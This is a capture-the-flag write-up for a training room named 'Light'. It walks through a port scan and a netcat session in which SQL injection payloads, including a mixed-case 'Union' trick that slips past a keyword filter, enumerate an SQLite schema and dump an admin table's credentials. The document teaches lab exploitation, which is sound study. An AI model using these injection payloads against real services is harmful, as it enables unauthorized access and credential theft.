Light

Recon

nmap

nmap finds two open ports: SHH (22) and a custom application (1337).

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 61:c5:06:f2:4a:20:5b:cd:09:4d:72:b0:a5:aa:ce:71 (RSA)
|   256 51:e0:5f:fa:81:64:d3:d9:26:24:16:ca:45:94:c2:00 (ECDSA)
|_  256 77:e1:36:3b:95:9d:e0:3e:0a:56:82:b2:9d:4c:fe:1a (ED25519)
1337/tcp open  waste?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|     Welcome to the Light database!
|     Please enter your username:
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: 
|     Welcome to the Light database!
|     Please enter your username: Username not found.
|_    Please enter your username:

Reading the Flag

The application on port 1337 is a database. Entering the username smokey from the room description returns a password. Entering a non-existing username returns Username not found.

$ nc 10.x.x.x 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
Please enter your username: doesnotexist
Username not found.

I test the application for SQL-Injection:

Welcome to the Light database!
Please enter your username: smokey' or 1=1
Error: unrecognized token: "' LIMIT 30"
Please enter your username: smokey' or '1'='1
Password: tF8tj2o94WE4LKC
Please enter your username: smokey' and sqlite_version()=sqlite_version() and '1'='1
Password: vYQ5ngPpw8AdUmL

I try union based injection, but there is a keyword filter. It can be bypassed by combining lower and upper case letters:

Please enter your username: UNION
Ahh there is a word in there I don't like :(
Please enter your username: union
Ahh there is a word in there I don't like :(
Please enter your username: Union
Username not found.

I extract the table names and table schemas:

Please enter your username: smokey' Union Select group_concat(name) From sqlite_master Where type='table
Password: usertable,admintable
Please enter your username: smokey' Union Select sql From sqlite_master Where type!='meta' And sql Not Null And name='admintable' And '1'='1
Password: CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)

I retrieve the admin username, the admin password and the Flag by dumping the table admintable:

Please enter your username: smokey' Union Select group_concat(id || ':' || username || ':' || password) From admintable Where '1'='1
Password: 1:TryHackMeAdmin:<REDACTED>,2:flag:THM{<REDACTED>}